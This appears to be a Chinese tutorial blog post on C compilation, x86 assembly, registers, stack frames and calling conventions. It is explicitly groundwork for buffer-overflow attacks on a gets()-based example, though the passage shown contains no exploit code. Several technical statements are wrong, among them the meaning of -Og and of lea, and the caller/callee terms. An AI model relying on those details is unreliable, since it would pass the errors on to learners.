  同时,逆向工程是学习C/C++最好的途径.C系语言本就是为了开发Unix而生,因此他完美的契合Unix生态,因此在Linux下你可以轻易的获得一个程序的指令码(opcode),汇编代码,以及未链接的目标文件.而你学到现在可能都不知道main函数有三个参数,为什么main函数一定要写return 0;(虽然你不写,但这是十分差劲的习惯).只有通过阅读汇编代码你才能真正理解程序的运行原理,你才能真正的理解编译的的高明之处,你才能真正领略到前人的伟大智慧.我强烈建议同学们安装ubuntu18.04虚拟机进行实验,这样你才能获得最好的体验.

  我知道现在流行一种歪风邪气,由于互联网市场膨胀,资本大量流入,大量公司需求网站开发与移动端开发.因此一些学生急功近利,认为自己会写几行php,套个框架,api倒背如流,就算编程大牛了.认为自己会写几行python java,调一调库,用一用flask spring搭个网站,整天拿一些现有的库高谈扩论,写一些业务逻辑,搞几个微信小程序就算是高级程序员了.反而嘲笑C/C++老掉牙,内心浮躁而不愿了解底层,这本身就是一种自欺欺人.多数人由于畏难心理而拒绝C++,只推崇语法糖更加简单的python.作为计算机科学研究人员,我们决不能满足于只写一些应用层逻辑,只有真正了解了计算机的细节,我们才能成为大师,否则你与专科培训班的学生有什么区别.

从Hello_world开始

  你向家里的弟弟妹妹炫耀你的编程技巧时,你可能写过无数次Hello_world来骗他们了,也许你自认为对它十分熟悉,下面我们从头看看到底发生了什么.
  首先你会熟练的写一个hello.c:

1
2
3
4
5
#include<stdio.h>
int main(int argc, char *argv[], char *envp[]){
printf("Hello World!");
return 0;
}

  或许你在dev-c++里熟练的按下F11,不过在linux终端里,我们使用GNU开源编译器gcc进行编译,命令如下:

1
> gcc -o hello hello.c

  在这里,gcc驱动程序读取源程序文件hello.c,并把它翻译成一个可执行的二进制文件,这个翻译过程可分为四个阶段,如下图.这四个阶段的程序(预处理器 编译器 汇编器 链接器)构成了编译系统(Compilation System)

compilation system

  • 预处理阶段: 预处理器(cpp)根据一字符#开头的命令修改原始C程序.比如hello.c的第一行#include<stdio.h>命令告诉预处理器读取系统头文件stdio.h的内容,并把它直接插入文本程序中.结果就的到了另一个C程序,通常以”.i”作为后缀.
  • 编译阶段: 编译器(ccl)将文本文件hello.i翻译成文本文件hello.s,他包含一个汇编程序,该程序的main函数定义,如下:
1
2
3
4
5
6
7
main:
subq $8, %rsp
movl $.LC0, %edi
call puts
movl $0, %eax
addq %8, %rsp
ret

  2~7行的每一条汇编语句都描述了一条低级机器语言指令,汇编的牛啤之处就在于它为不同的高级语言的不同编译器提供了通用的输出语言,相当与对底层进行了封装,统一了接口.这是很了不起的一项成就.

  • 汇编阶段: 接下来,汇编器(as)将hello.s翻译成机器语言指令,把这些指令打包成可重定位目标程序(relocatable object program)hello.o,hello.o是一个二进制文件,如果你用记事本打开他将看到一堆乱码.
  • 链接阶段: 注意,hello调用了printf函数,这是C标准库所提供的函数,printf存在于一个叫printf.o的单独预编译好了的目标文件中,我们必须使用某种神秘魔法将hello.o与printf.o融合起来,这就是链接器的工作,最后我们就得到了hello文件,这是一个可执行目标文件,可以被加载到内存中,由系统执行.

  最后,尝试在Linux终端里运行你的程序:

1
2
3
> ./hello

Hello World!#

  到此为止我们已经稍微了解了Hello_world,当学弟学妹在你面前吹牛的时候,你就可以问他:你知道Hello_world有多复杂吗?

汇编风格

  从传统上来说,汇编有两种风格,一种是AT&T风格,一种是Intel风格.AT&T是Linux默认格式,而Intel则是微软默认格式.两种风格没有好坏之分,下面我们介绍一下他们的区别.我们还是以一个程序为例,首先我们写一个mstore.c文件如下:

1
2
3
4
5
6
long mult2(long, long);

void multstore(long x, long y, long *dest) {
long t = mult2(x, y);
*dest = t;
}

  接下来,我们编译这个程序,在命令中使用’-S’选项可以生成汇编代码:

1
> gcc -Og -S mstore.c

此处’-Og’代表不进行优化,编译器会默认对你写的垃圾代码进行优化

  接下来你会发现生成了一个mstore.s,里面有各种声明,但是包括如下几行:

1
2
3
4
5
6
7
8
;AT&T style:
multstore:
pushq %rbx
movq %rdx, %rbx
call mult2
movq %rax, (%rbx)
popq %rbx
ret

  以上代码描述了一系列机器指令,你会注意到里面有各种%rax之类的东西,这些%开头的东西就是寄存器(Register).他们是cpu中的储存单元,cpu所进行的一切进算都必须由寄存器储存,同时它也是速度最高的存储单元.我们可以把寄存器理解为局部变量,他用来存储某个函数调用所需要的数据.

  以上这种带%的汇编就是AT&T风格,他的阅读顺序是从左往右,就像是说话一样自然.而pushq movq等等是一些指令,他们实际上就是英文单词push和mov(即move的缩写),至于为什么后面加了一个’q’,是因为q描述了mov后面的数据的大小.q代表”4字”(quad words)即一个64位数,即%rdx%rbx中存储了long类型的数.而movq %rdx, %rbx的意思就如同字面意思一样,把%rdx里的数据移动到%rbx里.这就好比C语言中的赋值操作:

1
%rbx = %rdx

注: 由于是从16位体系结构扩展为32位的,Intel使用术语 “字(word)”来表示16位数据. 因此称32位数为”双字(double words)”,称64位数为”4字(quad words)”.
在C语言中,int为32位即”双字”,4个字节.大家要清楚一点,位(bit) 字节(byte)在任何情况下都是没有歧义的,一个字节就是8位.但是字(word)随着语境的不同大小会发生变化,在这里特指16位,在其他文章中应根据上下文判断.

  接下来我们给出该程序Intel风格的代码:

1
2
3
4
5
6
7
multstore:
push rbx
mov rbx, rdx
call mult2
mov QWRD PTR [rbx], rax
pop rbx
ret

  你可以使用gcc -Og -S -masm=intel mstore.c获得该代码,我们可以看到他与AT&T有以下几点不同:

  • Intel 代码省略了指令的后缀,我们看到push和mov而不是pushq和movq.
  • Intel 代码省略了寄存器前的%,用的是rbx,而不是%rbx
  • Intel 代码用QWRD PTR [rbx]来描述内存中的内容,而不是(%rbx)
  • Intel 代码目标与对象与AT&T的相反,比如mov rbx, rdx等价于rbx = rdx,在AT&T中要写成movq %rdx, %rbx

  下面我面介绍一下上面出现的几条指令:

  • mov: 他是一个传递指令,表示把数据从一处传递到另一处,你可以简单把他理解为赋值语句

    • 然而mov的操作对象只有如下几种情况:
      1. mov rax, rbx=> rax = rbx 即从寄存器到寄存器
      2. mov [rax], rbx => *rax = rbx 即从寄存器到内存
      3. mov rax, [rbx] => rax = *rbx 即从内存到寄存器
      4. mov rax, 3 => rax = 3即将立即数赋值给rax
      5. mov [rax], 3 => *rax = 3 即将立即数存储在内存

        无论如何都不能mov [rax], [rbx] 即不可从内存到内存

        至于[rax]是什么东西.[]是寻址运算符号就相当与C语言中的*,他会把[rax]中的rax当作指针,去访问rax储存的地址所指向位置的内容.比如,mov [rax], 3相当于*rax = 3.
        更加复杂的寻址方式暂时跳过

  • push: 相信大家应该都用过C++里面的Vector了,应该都比较熟悉push和pop了.push和pop本就是为了栈(Stack)这种数据结构所设计的,pushpop分别描述了入栈和出栈的操作.

data_stack

  push就是将数据推入栈中,pop则是从栈中弹出.看似简单的数据结构是则是为了适应工业要求而诞生的产物.在同学们的印象里stack似乎是为了做算法题才创造出来的,实则不是,上古时期,科学家在研究函数调用时发现,他们需要一种能够保存当前状态的东西,这样才能实现函数的递归调用.这样解释可能还是有些抽象.我们举个例子,相信大家都看过<<盗梦空间>>这部电影,我们可以在梦里做梦,深入好几层梦境,其实这就类似与函数的递归,但是如果想要进入下一层梦境,你就必须要储存好当前的状态,这样一来,当你每次醒来时,你都处在之前保存好的状态之中.对于函数而言,每次从内层调用中返回,你都要恢复调用之前的状态,例如:

1
2
3
4
5
int A(){
B();
b = a + 1;
return b;
}

  我们看到A()函数调用了B();那么我们首先要清楚一件事,当B()运行结束之后会发生什么?

  显然要接着继续执行A()后面的指令,那么我们要怎样才能在B()运行结束后回到A()内并继续执行b = a + 1呢?很显然,我们必须在执行B()之前就提前保存好当前的所有状态,并且把B()返回后要执行的下一条指令提前储存起来.这样我们才能在每一次函数调用结束后回到原来的位置并继续向下执行.

  想到这里,似乎stack就是最好的实现方式.在每一次进行函数调用的时候就把当前的相关寄存器的值push进stack,并且把被调函数结束后的返回地址也push进stack,这样以来,当函数结束时,我们只需要把相关数据再pop到对应的寄存器,我们就相当于恢复了调用前的状态,类似于游戏的”存档与读档”的操作.如果我们要实现递归调用,那么我们只需要在每一次调用时建立起新的stack frame即栈帧,每个函数都有自己的栈帧,每个栈帧存储着对应函数调用的数据.因此我们只需要一直push,为每次递归建立新的栈帧,在返回时将对应栈帧的内容pop出来就能完美的实现递归调用.

对于栈本身而言,它是人为规定的出来的.我相信很多人仍这种误解:他们认为stack实际存在与计算机中,他们还信誓旦旦的说内存里还有堆(heap),每次malloc或者new就会从堆里面开辟空间,而函数却只会开栈,所以栈和堆实际存在.

这种想法是极端错误的,产生这种想法的原因是老师上课讲的比较笼统,而且他们确实是这么说的…其实,stack与heap并不存在,他们是我们人为从内存里划分一部分并且给他们取名叫stack或者heap,他们与其他内存空间并没有本质区别,并不是说内存中的某一段天生就具有push和pop的特效,或者说只是由于前辈使用了一些黑魔法才把普通的内存搞出了stack的功能.

按照规矩,我们更应该称之为Stack Segment即”栈段”以及Heap Segment即”堆段”,因为stack与heap都是内存上的一段.实际上在程序运行时会创建许多的段(segment),比如代码段(Text Segment) BSS段(BSS Segment)等等.我想大家在C/C++编程时经常看到segment这个单词只是你没有留意.一般,你如果产生了内存错误,比如越界访问,就会导致Segment Fault,即”段错误”,国内一个还算不错的代码论坛”思否”正是取名于此.下面给大家一个内存宏观图:

memory

  我们在这里只是简单的介绍一下原理,更多的细节在后面会分析.

  • call: 正如其字面意思,就是调用某个函数的意思,其参数是一段地址
  • pop: 其参数应为应为某寄存器,效果是将栈顶数据弹出至目标寄存器.
  • ret: 即函数返回
    • 这里又要强调一下,有一个错误观点:许多人认为函数没有返回值就不需要返回.这个观点是极端错误的.返回的真正意义是:当前被调用函数(called function)执行结束后,回到上层调用函数(callee function)的过程.而返回值仅仅是函数向外层传递出的结果,函数会把想要传递出的结果在返回之前放入%rax寄存器,这个值就叫返回值.
    • 实际上ret等价于pop %rip 这里很重要,后文会详细说明.

关于常用寄存器介绍

  cpu的一切活动都是基于寄存器的,你可以把寄存器理解为变量,函数运行所产生的中间变量优先使用寄存器存储,若寄存器存不下则存入内存即栈中,或者用户主动选择分配一段内存即在堆区分配内存用于存储数据.

  先给大家一张寄存器的图:

register

  我们可以看到图中写了一些你根本看不懂的东西(%rax之类的),那就是寄存器的名字,首先这附图的最右边介绍了各种寄存器的作用,比如%rax的作用是储存”Return value”,即储存返回值.接着我们看图的最上面写着几个神秘数字0 7 8 15 31 63,这一串神秘数字代表了寄存器的大小,你可以清楚的看到,当寄存器的大小不同时,他们的名字似乎不太一样.比如%rax包括了%eax,而%eax包括了%ax,%ax又包括了%ah和%al.为啥好端端的寄存器要分这么细呀?这是由于历史原因造成的.

  传说,在上古时期,人们还处于只有16位cpu的蛮荒时代,上古大神编程也使用8086汇编.那个时候一个寄存器的大小最大也只有16位,就是上图%ax %bx那一列.可见古代程序员编程条件比较艰苦,虽然寄存器只有16位,但是他们又想实现一些黑魔法来优化算法,这就需要更加细致的操作寄存器,因此他们又把寄存器分成了高8位与低8位两部分,即%ah与%al.

顺便一提:那个时候,想要访问内存是一件很繁琐的事情,由于当时的寄存器只有16位,但是地址的寻址范围确实20位,也就是说一个寄存器是存不下一个完整的地址的,因此大佬们决定用两个寄存器存地址,他们决定用”基址+偏移”的方式储存地址.好了我知道你开始听不懂了,举个栗子:

从郊区9斋到老麻抄手距离8848km,到逸夫楼8000Km,现在我有个要求:你只用两个寄存器,每个寄存器不超过三位,让你几下这个距离.你如何操作?

  • 凡夫俗子: 这还不简单,直接从中间分开呗?
    • 88 48 俩数,一个才两位,我真nb
  • 大佬: 优化一下
    • 800 848 (真实地址 = 基地址偏移+偏移地址) `800 10 + 848`

  其实道理很简单,正常人简单的把十进制数分成两半实际上也是基址+偏移的一种,但是由于设计错误,导致基址和偏移要同时发生改变.比如,假如今天想换个口味,想吃九本拉面了,距离变成了8747Km,87 47相对于88 48变了两个数.而800 848相对于800 747来说只变了一个偏移,这样就可以减少一次修改寄存器的操作.

这种寻址方式称之为”间址寻址”(因为是间接的嘛),由于现在的寄存器都容量很大所以这种寻址方式变得不再常见,但是这种神奇的思想依然十分重要,在函数建立栈帧的时候依然使用间址寻址的方式,请大家反复思索并理解.

  如今大家的程序基本都是64位的,即x86-64所以寄存器一般是”r”开头的,比如%rax之类的,四五年前流行32位的程序,即x86,寄存器大小一般是32位,以”e”开头,比如%eax.如今的机器为了向下兼容以前的程序,仍然保留之前的寄存器模型,所以%rax的低32位仍然是%eax,就像图中显示的那样.

  有些寄存器具有特殊的功能,比如%rip %rsp %rbp等等,稍微介绍一下:

  • %rip: 指令指针(Instruction Pointer)寄存器,因此在8086中被缩写为ip,32位时为%eip.

    • 作用是存储下一条要执行的指令的地址
    • 敲重点! 假如能够修改这个寄存器,那么我们似乎就可以控制程序流程,进而控制整个计算机系统
    • 你不能像访问通用寄存器那样访问它,即找不到可用来寻址EIP并对其进行读写的操作码(OpCode).EIP可被jmp、call和ret等指令隐含地改变(事实上它一直都在改变).
  • %rsp: 栈顶指针(Stack Pointer)寄存器,8086中为sp,32位为%esp

    • 众所周知stack具有底(第一个入栈的)和顶(最后一个入栈的),rsp指向栈顶
  • %rbp: 栈基指针(Base Pointer)寄存器,8086中为bp,32位为%ebp

    • 与%rsp对应,%rbp指向栈底
    • 也就是说这俩寄存器指向内存中的栈段(stack segment)
  • %rdi %rsi %rdx %rcx %r8 %r9: 在x86-64位程序中,分别是调用函数时传递参数时使用的,若有更多参数,则存入栈中.例如:

    • printf("%d %d %d %d %d %d %d",1,2,3,4,5,6,7);则1-6分别存在%rdi - %r9中,’7’则存于栈上.
    • 需要注意的是x86程序,即32位程序的传参方式与64位区别很大,32位程序的参数传递完全依靠栈.

扩展阅读

为了访问函数局部变量,必须能定位每个变量。局部变量相对于堆栈指针ESP的位置在进入函数时就已确定,理论上变量可用ESP加偏移量来引用,但ESP会在函数执行期随变量的压栈和出栈而变动。尽管某些情况下编译器能跟踪栈中的变量操作以修正偏移量,但要引入可观的管理开销。而且在有些机器上(如Intel处理器),用ESP加偏移量来访问一个变量需要多条指令才能实现。

因此,许多编译器使用帧指针寄存器FP(Frame Pointer)记录栈帧基地址。局部变量和函数参数都可通过帧指针引用,因为它们到FP的距离不会受到压栈和出栈操作的影响。有些资料将帧指针称作局部基指针(LB-local base pointer)。

在Intel CPU中,寄存器BP(EBP)用作帧指针。在Motorola CPU中,除A7(堆栈指针SP)外的任何地址寄存器都可用作FP。当堆栈向下(低地址)增长时,以FP地址为基准,函数参数的偏移量是正值,而局部变量的偏移量是负值。

请同学们务必记牢我上面提到的寄存器的作用,都是英文缩写,不难记.

常用指令

  基本的指令其实没有几条,上面已经介绍不少了,我们再介绍几个常用的就可以开始实战了,下面我们看个例子:

example

  首先可以告诉大家这个程序是有严重漏洞的,可以导致系统被”get shell”(就是说拿到最高控制权限啦).

example1

  这是老师课件上的例题,这就是教科书式的漏洞,这段程序与上边的汇编的区别就是输出的方式不同,汇编里用的puts()函数,下面使用了for loop进行输出.其他的基本一致.漏洞就发生在被标红的gets函数那里,我记得这一课讲的是如何把输入的空格读进来,因为cin不行,所以选择了gets()函数.在此强调:

永远都不要使用gets()函数,他对输入长度没有限制与检查,会爆栈,造成严重的缓冲区溢出.

为了让大家体验到这种漏洞的严重性,我决定一会就让大家攻击这个”模范”程序进行实验.

  介绍一下,剩下几个指令:

  • sub: 故名思意,减的意思.sub eax, 0xc 就是eax = eax - 0xc的意思
    • AT&T写法:sub $0xc, %eax
    • 注:’$’开头的东西叫”立即数”,就是常数
  • add: 与sub同理,不再赘述
  • lea:这个指令比较神奇,她叫做”加载有效地址(Load Effective Address)”,其实就是C/C++里的取址操作,例如:
    • lea eax, 13(esp)等价于eax = *(esp-13)
    • lea还可以用于简单的算数计算,例如:
      • lea rax, (rdi,rsi,4)等价于rax = rdi + rsi * 4
  • nop: 啥也不干…理论上等价于….mov eax, eax ,主要起到延时的作用.
  • jmp: 故名思意,jump跳转的意思,用法jmp 0x400ac,意思是跳转到0x400ac这个地放执行指令.

    • jmp一般会出现在: if-else语句 goto语句 各种loop
    • 同系列还有je jne jle jge jl jg,他们是”条件跳转”,若等于则跳转,若不等于则跳转,若小于等于则跳转,若大于等于则跳转……..自行脑补

      汇编中,循环一般使用jmp进行实现,其实就是jmp到循环开始的地方

  • cmp: compare比较的意思,就是比较一下两个对象是否相等,用法:cmp eax, 1比较eax是否等于1,一般用于if-else语句,循环判断等等…

我只是粗略的介绍了一下各种指令,如果你想要深入学习可以读<<汇编语言>>王爽的那本,下面给一个汇编教程网站Assembly Language,质量挺好.

  放一下上面那段程序的AT&T代码:
att

接下来我们进行重点讲解,函数调用时栈的构造与内存变化及传参方式.

函数调用时栈的构造

  程序本身就是各种函数的组合,因此了解函数的运行原理极为重要,这一部分是我们日后实施攻击的关键.

  1. 关于寄存器使用的约定:

      程序寄存器组是唯一能被所有函数共享的资源。虽然某一时刻只有一个函数在执行,但需保证当某个函数调用其他函数时,被调函数不会修改或覆盖主调函数稍后会使用到的寄存器值。因此,IA32采用一套统一的寄存器使用约定,所有函数(包括库函数)调用都必须遵守该约定。
      根据惯例,寄存器%eax、%edx和%ecx为主调函数保存寄存器(caller-saved registers),当函数调用时,若主调函数希望保持这些寄存器的值,则必须在调用前显式地将其保存在栈中;被调函数可以覆盖这些寄存器,而不会破坏主调函数所需的数据。寄存器%ebx、%esi和%edi为被调函数保存寄存器(callee-saved registers),即被调函数在覆盖这些寄存器的值时,必须先将寄存器原值压入栈中保存起来,并在函数返回前从栈中恢复其原值,因为主调函数可能也在使用这些寄存器。此外,被调函数必须保持寄存器%ebp和%esp,并在函数返回后将其恢复到调用前的值,亦即必须恢复主调函数的栈帧。
      当然,这些工作都由编译器在幕后进行。不过在编写汇编程序时应注意遵守上述惯例。

  2. 栈帧结构:

  函数调用经常是嵌套的,在同一时刻,堆栈中会有多个函数的信息。每个未完成运行的函数占用一个独立的连续区域,称作栈帧(Stack Frame)。栈帧是堆栈的逻辑片段,当调用函数时逻辑栈帧被压入堆栈, 当函数返回时逻辑栈帧被从堆栈中弹出。栈帧存放着函数参数,局部变量及恢复前一栈帧所需要的数据等。

  编译器利用栈帧,使得函数参数和函数中局部变量的分配与释放对程序员透明。编译器将控制权移交函数本身之前,插入特定代码将函数参数压入栈帧中,并分配足够的内存空间用于存放函数中的局部变量。使用栈帧的一个好处是使得递归变为可能,因为对函数的每次递归调用,都会分配给该函数一个新的栈帧,这样就巧妙地隔离当前调用与上次调用。

  栈帧的边界由栈帧基地址指针EBP和堆栈指针ESP界定(指针存放在相应寄存器中)。EBP指向当前栈帧底部(高地址),在当前栈帧内位置固定;ESP指向当前栈帧顶部(低地址),当程序执行时ESP会随着数据的入栈和出栈而移动。因此函数中对大部分数据的访问都基于EBP进行。

  为更具描述性,以下称EBP为帧基指针, ESP为栈顶指针,并在引用汇编代码时分别记为%ebp和%esp。

  函数调用栈的典型内存布局如下图所示:

stack_frame1

  图中给出主调函数(caller)和被调函数(callee)的栈帧布局,”m(%ebp)”表示以EBP为基地址、偏移量为m字节的内存空间(中的内容)。该图基于两个假设:第一,函数返回值不是结构体或联合体,否则第一个参数将位于”12(%ebp)” 处;第二,每个参数都是4字节大小(栈的粒度为4字节)。在本文后续章节将就参数的传递和大小问题做进一步的探讨。 此外,函数可以没有参数和局部变量,故图中“Argument(参数)”和“Local Variable(局部变量)”不是函数栈帧结构的必需部分。

  从图中可以看出,函数调用时入栈顺序为:

实参N~1→主调函数返回地址→主调函数帧基指针EBP→被调函数局部变量1~N

  其中,主调函数将参数按照调用约定依次入栈(图中为从右到左),然后将指令指针EIP入栈以保存主调函数的返回地址(下一条待执行指令的地址)。进入被调函数时,被调函数将主调函数的帧基指针EBP入栈,并将主调函数的栈顶指针ESP值赋给被调函数的EBP(作为被调函数的栈底),接着改变ESP值来为函数局部变量预留空间。此时被调函数帧基指针指向被调函数的栈底。以该地址为基准,向上(栈底方向)可获取主调函数的返回地址、参数值,向下(栈顶方向)能获取被调函数的局部变量值,而该地址处又存放着上一层主调函数的帧基指针值。本级调用结束后,将EBP指针值赋给ESP,使ESP再次指向被调函数栈底以释放局部变量;再将已压栈的主调函数帧基指针弹出到EBP,并弹出返回地址到EIP。ESP继续上移越过参数,最终回到函数调用前的状态,即恢复原来主调函数的栈帧。如此递归便形成函数调用栈。

  EBP指针在当前函数运行过程中(未调用其他函数时)保持不变。在函数调用前,ESP指针指向栈顶地址,也是栈底地址。在函数完成现场保护之类的初始化工作后,ESP会始终指向当前函数栈帧的栈顶,此时,若当前函数又调用另一个函数,则会将此时的EBP视为旧EBP压栈,而与新调用函数有关的内容会从当前ESP所指向位置开始压栈。

  若需在函数中保存被调函数保存寄存器(如ESI、EDI),则编译器在保存EBP值时进行保存,或延迟保存直到局部变量空间被分配。在栈帧中并未为被调函数保存寄存器的空间指定标准的存储位置。包含寄存器和临时变量的函数调用栈布局可能如下图所示:

stack_frame2

在多线程(任务)环境,栈顶指针指向的存储器区域就是当前使用的堆栈。切换线程的一个重要工作,就是将栈顶指针设为当前线程的堆栈栈顶地址。

  内存地址从栈底到栈顶递减,压栈就是把ESP指针逐渐往地低址移动的过程。而结构体tStrt中的成员变量memberX地址=tStrt首地址+(memberX偏移量),即越靠近tStrt首地址的成员变量其内存地址越小。因此,结构体成员变量的入栈顺序与其在结构体中声明的顺序相反。

  函数调用以值传递时,传入的实参(locMain1~3)与被调函数内操作的形参(para1~3)两者存储地址不同,因此被调函数无法直接修改主调函数实参值(对形参的操作相当于修改实参的副本)。为达到修改目的,需要向被调函数传递实参变量的指针(即变量的地址)。

  此外,”[locMain1,2,3] = [0, 0, 3]”是因为对四字节参数locMain2调用memset函数时,会从低地址向高地址连续清零8个字节,从而误将位于高地址locMain1清零。

  注意,局部变量的布局依赖于编译器实现等因素。因此,当StackFrameContent函数中删除打印语句时,变量locVar3、locVar2和locVar1可能按照从高到低的顺序依次存储!而且,局部变量并不总在栈中,有时出于性能(速度)考虑会存放在寄存器中。数组/结构体型的局部变量通常分配在栈内存中。

扩展阅读
函数局部变量布局方式

与函数调用约定规定参数如何传入不同,局部变量以何种方式布局并未规定。编译器计算函数局部变量所需要的空间总数,并确定这些变量存储在寄存器上还是分配在程序栈上(甚至被优化掉)——某些处理器并没有堆栈。局部变量的空间分配与主调函数和被调函数无关,仅仅从函数源代码上无法确定该函数的局部变量分布情况。
基于不同的编译器版本(gcc3.4中局部变量按照定义顺序依次入栈,gcc4及以上版本则不定)、优化级别、目标处理器架构、栈安全性等,相邻定义的两个变量在内存位置上可能相邻,也可能不相邻,前后关系也不固定。若要确保两个对象在内存上相邻且前后关系固定,可使用结构体或数组定义。

  1. Stack的变化

    首先以32位程序为例.
    函数调用时的具体步骤如下:

    1. 主调函数将被调函数所要求的参数,根据相应的函数调用约定,保存在运行时栈中。该操作会改变程序的栈指针。

      注:x86平台将参数压入调用栈中。而x86_64平台具有16个通用64位寄存器,故调用函数时前6个参数通常由寄存器传递,其余参数才通过栈传递.

    2. 主调函数将控制权移交给被调函数(使用call指令)。函数的返回地址(待执行的下条指令地址)保存在程序栈中(压栈操作隐含在call指令中)。

    3. 若有必要,被调函数会设置帧基指针,并保存被调函数希望保持不变的寄存器值。
    4. 被调函数通过修改栈顶指针的值,为自己的局部变量在运行时栈中分配内存空间,并从帧基指针的位置处向低地址方向存放被调函数的局部变量和临时变量。
    5. 被调函数执行自己任务,此时可能需要访问由主调函数传入的参数。若被调函数返回一个值,该值通常保存在一个指定寄存器中(如EAX)。
    6. 一旦被调函数完成操作,为该函数局部变量分配的栈空间将被释放。这通常是步骤4的逆向执行。
    7. 恢复步骤3中保存的寄存器值,包含主调函数的帧基指针寄存器。
    8. 被调函数将控制权交还主调函数(使用ret指令)。根据使用的函数调用约定,该操作也可能从程序栈上清除先前传入的参数。
    9. 主调函数再次获得控制权后,可能需要将先前的参数从栈上清除。在这种情况下,对栈的修改需要将帧基指针值恢复到步骤1之前的值。

步骤3与步骤4在函数调用之初常一同出现,统称为函数序(prologue);步骤6到步骤8在函数调用的最后常一同出现,统称为函数跋(epilogue)。函数序和函数跋是编译器自动添加的开始和结束汇编代码,其实现与CPU架构和编译器相关。除步骤5代表函数实体外,其它所有操作组成函数调用。

  以下介绍函数调用过程中的主要指令(复习一下哈):

  • 压栈(push):栈顶指针ESP减小4个字节;以字节为单位将寄存器数据(四字节,不足补零)压入堆栈,从高到低按字节依次将数据存入ESP-1、ESP-2、ESP-3、ESP-4指向的地址单元。
  • 出栈(pop):栈顶指针ESP指向的栈中数据被取回到寄存器;栈顶指针ESP增加4个字节.
  • 返回(ret):与call指令配合,用于从函数或过程返回。从栈顶弹出返回地址(之前call指令保存的下条指令地址)到EIP寄存器中,程序转到该地址处继续执行(此时ESP指向进入函数时的第一个参数)。若带立即数,ESP再加立即数(丢弃一些在执行call前入栈的参数)。使用该指令前,应使当前栈顶指针所指向位置的内容正好是先前call指令保存的返回地址。

  基于以上指令,使用C调用约定的被调函数典型的函数序和函数跋实现如下:

func

若主调函数和调函数均未使用局部变量寄存器EDI、ESI和EBX,则编译器无须在函数序中对其压栈,以便提高程序的执行效率。

  参数压栈指令因编译器而异,如下两种压栈方式基本等效:

func1

  两种压栈方式均遵循C调用约定,但方式二中主调函数在调用返回后并未显式清理堆栈空间。因为在被调函数序阶段,编译器在栈顶为函数参数预先分配内存空间(sub指令)。函数参数被复制到栈中(而非压入栈中),并未修改栈顶指针,故调用返回时主调函数也无需修改栈顶指针。gcc3.4(或更高版本)编译器采用该技术将函数参数传递至栈上,相比栈顶指针随每次参数压栈而多次下移,一次性设置好栈顶指针更为高效。设想连续调用多个函数时,方式二仅需预先分配一次参数内存(大小足够容纳参数尺寸和最大的函数即可),后续调用无需每次都恢复栈顶指针。注意,函数被调用时,两种方式均使栈顶指针指向函数最左边的参数。本文不再区分两种压栈方式,”压栈”或”入栈”所提之处均按相应汇编代码理解,若无汇编则指方式二。

  某些情况下,编译器生成的函数调用进入/退出指令序列并不按照以上方式进行。例如,若C函数声明为static(只在本编译单元内可见)且函数在编译单元内被直接调用,未被显示或隐式取地址(即没有任何函数指针指向该函数),此时编译器确信该函数不会被其它编译单元调用,因此可随意修改其进/出指令序列以达到优化目的。

  尽管使用的寄存器名字和指令在不同处理器架构上有所不同,但创建栈帧的基本过程一致。

  注意,栈帧是运行时概念,若程序不运行,就不存在栈和栈帧。但通过分析目标文件中建立函数栈帧的汇编代码(尤其是函数序和函数跋过程),即使函数没有运行,也能了解函数的栈帧结构。通过分析可确定分配在函数栈帧上的局部变量空间准确值,函数中是否使用帧基指针,以及识别函数栈帧中对变量的所有内存引用。

  1. 函数调用约定

  创建一个栈帧的最重要步骤是主调函数如何向栈中传递函数参数。主调函数必须精确存储这些参数,以便被调函数能够访问到它们。函数通过选择特定的调用约定,来表明其希望以特定方式接收参数。此外,当被调函数完成任务后,调用约定规定先前入栈的参数由主调函数还是被调函数负责清除,以保证程序的栈顶指针完整性。
  函数调用约定通常规定如下几方面内容:

1. 函数参数的传递顺序和方式

最常见的参数传递方式是通过堆栈传递。主调函数将参数压入栈中,被调函数以相对于帧基指针的正偏移量来访问栈中的参数。对于有多个参数的函数,调用约定需规定主调函数将参数压栈的顺序(从左至右还是从右至左)。某些调用约定允许使用寄存器传参以提高性能。
2.栈的维护方式
主调函数将参数压栈后调用被调函数体,返回时需将被压栈的参数全部弹出,以便将栈恢复到调用前的状态。该清栈过程可由主调函数负责完成,也可由被调函数负责完成。

3. 名字修饰(Name-mangling)策略

又称函数名修饰(Decorated Name)规则。编译器在链接时为区分不同函数,对函数名作不同修饰。

若函数之间的调用约定不匹配,可能会产生堆栈异常或链接错误等问题。因此,为了保证程序能正确执行,所有的函数调用均应遵守一致的调用约定。

  下面分别介绍常见的几种函数调用约定,你只需要记住解第一个cdel约定,剩下的作为知识扩展(内容较长,实在不想看就跳过吧,建议了解).

  • cdecl调用约定
    • 又称C调用约定,是C/C++编译器默认的函数调用约定。所有非C++成员函数和未使用stdcall或fastcall声明的函数都默认是cdecl方式。函数参数按照从右到左的顺序入栈,函数调用者负责清除栈中的参数,返回值在EAX中。由于每次函数调用都要产生清除(还原)堆栈的代码,故使用cdecl方式编译的程序比使用stdcall方式编译的程序大(后者仅需在被调函数内产生一份清栈代码)。但cdecl调用方式支持可变参数函数(即函数带有可变数目的参数,如printf),且调用时即使实参和形参数目不符也不会导致堆栈错误。对于C函数,cdecl方式的名字修饰约定是在函数名前添加一个下划线;对于C++函数,除非特别使用extern “C”,C++函数使用不同的名字修饰方式。

扩展阅读
可变参数函数支持条件

若要支持可变参数的函数,则参数应自右向左进栈,并且由主调函数负责清除栈中的参数(参数出栈)。
首先,参数按照从右向左的顺序压栈,则参数列表最左边(第一个)的参数最接近栈顶位置。所有参数距离帧基指针的偏移量都是常数,而不必关心已入栈的参数数目。只要不定的参数的数目能根据第一个已明确的参数确定,就可使用不定参数。例如printf函数,第一个参数即格式化字符串可作为后继参数指示符。通过它们就可得到后续参数的类型和个数,进而知道所有参数的尺寸。当传递的参数过多时,以帧基指针为基准,获取适当数目的参数,其他忽略即可。若函数参数自左向右进栈,则第一个参数距离栈帧指针的偏移量与已入栈的参数数目有关,需要计算所有参数占用的空间后才能精确定位。当实际传入的参数数目与函数期望接受的参数数目不同时,偏移量计算会出错!
其次,调用函数将参数压栈,只有它才知道栈中的参数数目和尺寸,因此调用函数可安全地清栈。而被调函数永远也不能事先知道将要传入函数的参数信息,难以对栈顶指针进行调整。
C++为兼容C,仍然支持函数带有可变的参数。但在C++中更好的选择常常是函数多态。

  • stdcall调用约定(微软命名)

